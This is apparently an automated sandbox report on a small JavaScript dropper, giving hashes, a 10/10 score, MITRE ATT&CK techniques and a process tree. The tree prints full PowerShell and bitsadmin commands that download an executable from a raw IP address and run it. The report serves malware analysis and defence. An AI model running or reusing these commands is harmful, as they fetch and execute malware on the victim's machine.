5a5b7c3bda80944f90724322b9fbb2c44b180c790c09192c5007ab9e1410c95c

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20250207-en
resource tags

arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
submitted
26/03/2025, 03:07

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General

Target

94fefbae1f1c369c6fcc718d0ea40828b98f55b18c8b4fa68915ceef2d725707.js
Size

720B
MD5

ae846ea82b1d91f86790be6f0ebcf771
SHA1

2ac8c84cd73cddc5f56573ef431b9eda914bc63b
SHA256

94fefbae1f1c369c6fcc718d0ea40828b98f55b18c8b4fa68915ceef2d725707
SHA512

ed9718786972eccc49d8e8f7294a6bedaa026662d637c9016fdd64cf4106b72772d61f08274c15a6da7583bb38035c470eeac3f77ac3cb94185c4aa70430734e

Score

10^/10

dropper execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://217.8.117.63/wtava.exe

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2272	powershell.exe

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
2280	bitsadmin.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2272	powershell.exe
2272	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2272	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2040	2872	wscript.exe	28
PID 2872 wrote to memory of 2040	2872	wscript.exe	28
PID 2872 wrote to memory of 2040	2872	wscript.exe	28
PID 2872 wrote to memory of 2240	2872	wscript.exe	30
PID 2872 wrote to memory of 2240	2872	wscript.exe	30
PID 2872 wrote to memory of 2240	2872	wscript.exe	30
PID 2040 wrote to memory of 2272	2040	cmd.exe	32
PID 2040 wrote to memory of 2272	2040	cmd.exe	32
PID 2040 wrote to memory of 2272	2040	cmd.exe	32
PID 2240 wrote to memory of 2280	2240	cmd.exe	33
PID 2240 wrote to memory of 2280	2240	cmd.exe	33
PID 2240 wrote to memory of 2280	2240	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\94fefbae1f1c369c6fcc718d0ea40828b98f55b18c8b4fa68915ceef2d725707.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/wtava.exe','C:\Users\Admin\AppData\Local\Temp\7865336.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\7865336.exe'
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://217.8.117.63/wtava.exe','C:\Users\Admin\AppData\Local\Temp\7865336.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\7865336.exe'
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/wtava.exe C:\Users\Admin\AppData\Local\Temp\75365357.exe&start C:\Users\Admin\AppData\Local\Temp\75365357.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\bitsadmin.exe
    bitsadmin /transfer twetaeihwuwe /download /priority high http://217.8.117.63/wtava.exe C:\Users\Admin\AppData\Local\Temp\75365357.exe
    3⤵
    - Download via BitsAdmin
    PID:2280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2272-4-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2272-5-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download